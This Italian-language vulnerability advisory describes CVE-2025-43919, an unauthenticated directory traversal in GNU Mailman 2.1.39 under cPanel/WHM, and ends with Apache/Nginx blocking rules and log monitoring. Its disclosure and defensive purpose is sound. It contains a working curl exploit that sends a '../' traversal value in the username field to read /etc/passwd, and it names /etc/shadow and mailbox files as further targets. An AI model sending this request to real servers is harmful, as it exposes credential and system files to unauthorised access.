
Prova di concetto per CVE-2025-43919: attraversamento di directory in GNU Mailman 2.1.39 (cPanel/WHM). Sfrutta richieste POST non autenticate per leggere file arbitrari del server, inclusi /etc/passwd e dati di configurazione.
Scoperto da: Firudin Davudzada & Musazada Aydan
Data di divulgazione: Aprile 2025
ID CVE: CVE-2025-43919
Gravità: 5.8 Media (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N)
Tipo di attacco: Remoto
Software interessato: GNU Mailman 2.1.39 (in bundle con cPanel/WHM)
GNU Mailman 2.1.39, come fornito in bundle con cPanel e WHM, contiene una vulnerabilità critica di attraversamento di directory nell'endpoint /mailman/private/mailman. Attaccanti non autenticati possono sfruttare questa falla per leggere file arbitrari sul server, come /etc/passwd o i file di configurazione di Mailman, a causa di una validazione input insufficiente nello script CGI private.py. Questa vulnerabilità comporta rischi significativi per la divulgazione di informazioni e può facilitare ulteriori attacchi se combinata con altri exploit.
private.py (gestisce l'autenticazione degli archivi privati)archive.py (logica di elaborazione degli archivi)Mailman/Handlers/ (logica principale delle mailing list).mboxusername nelle richieste POST a /mailman/private/mailman non viene sanificato, consentendo sequenze ../ per attraversare il filesystem.Il seguente comando dimostra l'accesso non autorizzato a /etc/passwd:
curl -X POST -d "username=../../../../etc/passwd&password=x&submit=Let+me+in..." http://target/mailman/private/mailman
Output previsto: Contenuto di /etc/passwd o di altri file target, a seconda dei permessi del server.
/mailman/private/mailman con parametri username contenenti .././etc/passwd, /etc/shadow se i permessi lo consentono)..mbox per estrarre dati utente o contenuti email.Limitare l'accesso all'endpoint: Configurare il server web per bloccare l'accesso non autorizzato a /mailman/private:
<Location "/mailman/private">
Require ip 127.0.0.1
Deny from all
</Location>
Oppure per Nginx:
location /mailman/private {
deny all;
return 403;
}
Monitorare i log: Controllare le richieste POST sospette verso /mailman/private/mailman:
tail -f /var/log/httpd/access_log | grep "/mailman/private"
Firudin Davudzada e Musazada Aydan hanno divulgato responsabilmente questa vulnerabilità durante un impegno di penetration testing autorizzato. Grazie al team CVE di MITRE per il coordinamento.
Email: [email protected]